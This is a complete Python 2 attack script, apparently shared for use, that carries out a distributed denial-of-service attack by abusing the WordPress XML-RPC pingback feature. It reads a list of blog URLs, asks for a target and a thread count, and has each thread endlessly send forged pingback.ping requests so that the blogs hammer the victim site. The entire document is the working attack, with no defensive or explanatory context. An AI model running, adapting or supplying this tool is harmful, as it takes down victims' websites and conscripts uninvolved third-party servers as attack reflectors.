XMLRPC PingBack DDoS python

#!/usr/bin/python
import sys
import socket
import threading
import time
import os
Lock = threading.Lock()
def main():
        try:
            in_file = open("list.txt","r")
        except:
            raw_input('You need a list.txt file to work')
            sys.exit(0)
        os.system("title ...:: XMLRPC PingBack DDoS ::... ")
        print '-------------------------------------------------------------------------\n'
        print '\tXML-RPC PingBack API Remote DDoS'
        print '\tDate : 20/04/2014'
        print '\tTested on Windows 7 / Windows Server 2012 / FreeBSD 9.2'
        print '\tPython version coded by : Sikh887 \n'
        print '--------------------------------------------------------------------------\n\n '
        num_thread = input("Number of thread: ")
        url = raw_input("Target: ")
        for i in range(num_thread):
            try:
                in_line = in_file.readline()
                Thread1(url, i+1, in_line).start()
                in_line = in_line[:-1]
            except:
                pass
        time.sleep(3)


class Thread1(threading.Thread):
    def __init__(self, url, number, blog):
        self.url = url
        self.number = number
        self.blog = blog
        threading.Thread.__init__(self)

    def run(self):
        Lock.acquire()
        print 'Starting thread #%s'%self.number
        Lock.release()
        function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>"%(self.url, self.blog)
        request_lenght = len(function_pingback)
        try:
            self.blog_cleaned = self.blog.split("?p=")[0]
            self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
        except:
            sys.exit(0)
        request = "POST %s/xmlrpc.php HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
        while True:
                time.sleep(3)
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
                    s.connect((self.blog_cleaned1, 80))
                    s.send(request)
                    print"Thread %s | Blog %s"%(self.number, self.blog_cleaned1)
                except:
                    ok = 0
main()